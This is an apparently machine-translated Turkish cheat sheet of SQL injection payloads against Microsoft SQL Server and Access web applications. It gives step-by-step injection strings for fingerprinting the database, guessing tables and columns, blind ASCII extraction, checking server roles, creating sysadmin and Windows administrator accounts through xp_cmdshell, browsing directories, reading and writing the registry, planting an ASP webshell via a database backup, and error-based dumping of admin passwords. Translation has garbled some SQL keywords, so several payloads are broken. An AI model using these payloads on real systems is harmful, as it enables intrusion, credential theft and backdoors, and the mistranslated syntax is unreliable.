1. Enjeksiyon olup olmadığını belirleyin ; ve 1=1 ; ve 1=2
2. MSSQL olup olmadığı ön kararı ; ve kullanıcı>0
3. Veritabanı sistemini yargılayın ; ve (sysobjects'ten selectcount(*))>0 mssql ; ve (msysobjects'ten count(*) seç)>0 erişim
4. Enjeksiyon parametresi bir karakterdir 've [sorgulama kriterleri] ve ''='
5. Arama sırasında filtrelenmiş parametreler yoktur 've [sorgulama kriterleri] ve '%25'='
6. Masanın adını tahmin et ; ve ([tablo adı]'dan Count(*) seçin)>0
7. Alanı tahmin et ; ve (tablo adından Count(alan adı)'nı seçin)>0
8. Sahadaki rekorun uzunluğunu tahmin et ; ve (tablo adından en üst 1 lens'i (alan adı) seçin)>0
9. (1) Alanın ASCII değerini tahmin et (erişim) ; ve (tablo adından en üst 1 ASC(mid(alan adı, 1,1))))>0
(2) Alanın ASCII değerini tahmin et (mssql) ; ve (tablo adından en üst 1 unicode(substring(alan adı,1,1)))>0 seçin
10. Test İzni Yapısı (mssql) ; ve 1=(select IS_SRVROLEMEMBER('sysadmin')); -- ; ve 1=(select IS_SRVROLEMEMBER('serveradmin')); -- ; ve 1=(select IS_SRVROLEMEMBER('setupadmin')); -- ; ve 1=(IS_SRVROLEMEMBER('securityadmin')'i seçin); -- ; ve 1=(select IS_SRVROLEMEMBER('diskadmin')); -- ; ve 1=(select IS_SRVROLEMEMBER('bulkadmin')); -- ; ve 1=(select IS_MEMBER('db_owner')); --
11. mssql ve sistem için bir hesap ekleyin ; yönetici master.dbo.sp_addlogin kullanıcı adı; -- ; exec master.dbo.sp_password null,username,password; -- ; yönetici master.dbo.sp_addsrvrolemember sistem yöneticisi kullanıcı adı; -- ; exec master.dbo.xp_cmdshell 'net kullanıcı adı şifresi /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add'; -- ; exec master.dbo.xp_cmdshell 'net kullanıcı adı şifresi /add'; -- ; exec master.dbo.xp_cmdshell 'net localgroup yöneticileri kullanıcı adı /add'; --
12. (1) Kataloğu gezin ; create table dirs(paths varchar(100), id int) ; DIRS yöneticisi master.dbo.xp_dirtree 'c:\' ekleyin ; ve (dirs'ten en iyi 1 yolu seçin)>0 ; ve (dir'lerden en iyi 1 yolu seçin, burada yollar içeride değil ('önceki adımdan elde edilen yollar'))))>)
(2) Kataloğu dolaşın ; create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); -- ; Temp exec master.dbo.xp_availablemedia ekleyin; -- Tüm mevcut sürücüleri alın ; Temp(id) yöneticisi master.dbo.xp_subdirs 'c:\'; -- Alt dizinlerin listesini alın ; temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Tüm alt dizinler için dizin ağacı yapısını alın ; Temp(id) yöneticisine master.dbo.xp_cmdshell 'c:\web\index.asp' yaz; -- Dosyanın içeriğini görüntüleyin
13. MSSQL'de saklanan prosedürler xp_regenumvalues Kayıt defteri kök anahtarı, alt anahtar ; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' birden fazla kayıt setinde tüm anahtar değerleri döndürür xp_regread Kök anahtar, çocuk anahtar, anahtar-değer adı ; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' ayar anahtarının değerini döndürür xp_regwrite Kök anahtar, alt anahtar, değer adı, değer türü, değer İki tür değer tipi vardır REG_SZ REG_DWORD karakter tipleri ve tam sayılar için ; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz', 'hello' kayıt defterine xp_regdeletevalue Kök anahtar, alt anahtar, değer adı exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestvalueName' ile bir değeri kaldırmak için xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' ile anahtarı kaldırın, böylece o anahtarın altındaki tüm değerler dahil
14. mssql yedeklemesi bir webshell oluşturur Model Kullanın tablo oluştur cmd(str görsesi); cmd(str) değerlerine insert ('<% Dim oScript %>'); yedekleme veritabanı modeli disk='c:\l.asp';
15. MSSQL yerleşik fonksiyonları ; ve (@@version)>0 ile Windows'un sürüm numarasını elde etmek için ; ve user_name()='dbo' ile mevcut sistemin bağlı kullanıcısının SA olup olmadığını belirlemek için ; ve (select user_name()))>0 Mevcut sistemin bağlı kullanıcılarını patlattı ; ve (db_name())>0 seçeneğine göre mevcut bağlı veritabanını elde etmek için
MSSQL el ile notasyonlu veritabanı ihlali
1. Mevcut tablo adını ve sütun adını ortaya çıkarın Enjeksiyon noktasından sonra "'having 1=1--" göndererek İngilizce geri dönüş mesajını alabilirsiniz; burada bir tablo adı ve bir sütun adı görebilirsiniz. Başka bir sütun adı almak için "1=1--" listesi adına göre grup gönderin; "Açık tablo adı, açık tablo adı, açık tablonun adı ile grupla. İkinci sütun adı 1=1--" olur, bu da size başka bir sütun adı verir. Tüm sütun adlarını almak için sayfa hata mesajları dönmene kadar aynı şekilde commit yapın. Küçük Bilgiler: Şiddetli tablo adları ve sütun isimleri, SQL ifadelerinde koşullu yargılar yapmak için GROUP BY ile birlikte kullanılır. Ifade eksik olduğundan, veritabanı hata mesajı döndürür ve tablo adı ile sütun adı gösterir. Temel yöntem sadece mevcut tabloyu veritabanında açığa çıkarabilir ve bir tablo çok sayıda sütun adı içeriyorsa, temel yöntemi kullanmak çok zordur.
Birincisi. Tüm veritabanı isimleri açığa çıkar "and 0<>(select count(*) from master.dbo.sysdatabases where name>1 ve dbid=[N])" ifadesini kullanarak veritabanında rastgele tablo adlarını ve sütun adlarını ortaya çıkarabilirsiniz; burada "[N]" veritabanındaki N. tabloyu temsil eder. Adım 1: Noktayı enjekte ettikten sonra şu ifadeyi gönderin: "and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)", çünkü dbid'in değeri 1'den 5'e kadar ve bu değer sistem tarafından kullanılır, yani kullanıcı onu 6'dan oluşturmuş olmalı ve adı gönderdik>1, isim alanı bir karakter tipi alanıdır ve sayı karşılaştırması yanlış olur, bu yüzden gönderimden sonra IE aşağıdaki bilgileri döndürecektir: "Microsoft OLE DB Provider for ODBC Drivers error ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server] nvarchar değerini 'Northwind' veri tipi int'ye dönüştürür Sütun. Bu şekilde, isim alanının değeri ortaya çıkar, yani "Northwind" adlı bir veritabanı adı elde edilir. "dbid" değerini değiştirerek tüm veritabanı isimlerini elde edebilirsiniz.
ve 0<>(master.dbo.sysdatabases'ten count(*) seç, burada name>1 ve dbid=[N])-- N'yi 6'dan tüm veritabanı isimlerini patlatacak şekilde değiştir
İkincisi. Belirtilen veritabanındaki tüm tablo isimlerini açığa çıkarın Veritabanı adını aldıktan sonra, şimdi kütüphanedeki tüm tablo isimlerini almanız gerekiyor, şu ifadeyi göndermeniz gerekiyor: "and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U')", işte ana veritabanındaki tablo adı ve sorgunun SQL ifadesi ismin değerini döndürür, ardından bunu 0 sayısıyla karşılaştırarak ismin değeri ortaya çıkar. Teslim edildikten sonra masanın adı "'spt_monito" olarak ortaya çıktı. Daha sonra diğer tablolar açılır ve şu ifade gönderilir: "and 0<>(master.dbo.sysobjects'ten en üst 1 ismi seç, burada xtype='U' ve name not in('spt_monito'))", ayrıca "cd512" adlı başka bir tablo ortaya çıkar. Dosya "and name not in(' spt_monito',' CD512',..))" Tüm masa isimlerini öğrenebilirsiniz.
ve 0<>([veritabanı adını belirt].dbo.sysobjects adresinden en üst 1 adı seç, burada xtype='U')-- ve 0<>([Veritabanı adını belirt].dbo.sysobjects adresinden en üst 1 adı seç, burada xtype='U' ve name not in('[Patlatılmış tablo adı]')))-- ve 0<>([veritabanı adını belirt].dbo.sysobjects adresinden en üst 1 adı seçin, burada xtype='U' ve name not in('[Patlayıcı tablo adı]', '[Patlatılmış ikinci tablo adı]')))))--
4. Belirtilen tablodaki tüm sütun adlarını açığa çıkarın ve 0<>(bbs.dbo.sysobjects'ten count(*) seç, burada xtype='U' ve name='admin' ve uid>(str(id))) ID değerini bir karakter tipine dönüştürün ve ardından tam sayı değeriyle karşılaştırın. Kimlik numarası açık. Değer şudur: 949578421 name='tablo adı'
ve 0<>(wutong.dbo.syscolumns'tan üst 1 isim seç, burada id=949578421)-- Yönetici tablosunda bir alan adı açığa çıkar
Yeniden gönder ve 0<>(wutong.dbo.syscolumns'tan ilk 1 adı seç, burada id=949578421 ve name not in('adduser'))))-- Dosya "and name not in(' spt_monito',' CD512',..))" Tüm alan isimlerini yönetici tablosunda bulabilirsiniz.
ve 0<>([veritabanı adını belirt].dbo.sysobjects adresinden count(*) seç, burada xtype='U' ve name='[Patlatılacak alanın tablo adı]' ve uid>(str(id)))--Patlatılacak alanın tablo adının ID değeri
ve 0<>([veritabanı adı].dbo.syscolumns'tan en üst 1 adı seç, burada id=patlayan id değeri)-- Patlayan id değer tablosunda bir alanın adı
ve 0<>([veritabanı adı].dbo.syscolumns'tan en üst 1 adı seçin, burada id=Patlayıcı id değeri ve name not in('[Patlatılmış alan adı]')))--
5. Belirtilen tablodaki verileri okuyun
ve 0<(wutong.dbo.admin'den A_ID seç, burada A_UserID>1) -- A_PWD bozan içerik
ve 0<([veritabanı adını belirt].dbo'dan [var olan alanı] seç. [tablo adı sorguya] burada [içerik patlatmak için alan adı]>1)--
ve 0<(wutong.dbo.admin sitesinden A_ID seç, burada A_PWD>1 ve A_UserID='admin')-- Yöneticinin şifresi açığa çıkar
ve 0<(Yöneticiden FROM A_UserID Top 1'i seç, burada A_ID<>1)-- id<>1'in yöneticisi adı (fuhao)
ve 0<(Yönetici A_UserID FROM Top 1'i seç, burada A_ID <>1 ve A_UserID <> 'fuhao')-- İkinci admin ismi (tuiguang) <> eşit değildir)
ve 0<(Yönetici A_UserID FROM Top 1'i seç, burada A_ID <>1 ve A_UserID <> 'fuhao' ve A_UserID <> 'tuiguang')--
Veritabanının tablo adını ve sütun adını bildikten sonra, veritabanındaki herhangi bir bilgiyi okumak için "sorgu ifadesi" ile kullanılabilir. Örneğin, bir tablodaki bir sütunda N. veriyi okumak istiyorsanız, şu ifadeyi gönderebilirsiniz: "and (Select Top 1 column name FROM from table name where id=[N])>1" ([N] sütundaki N. veriyi temsil eder) ve IE tarafından verilen bilgilerden istenen veriyi bilebilirsiniz.
|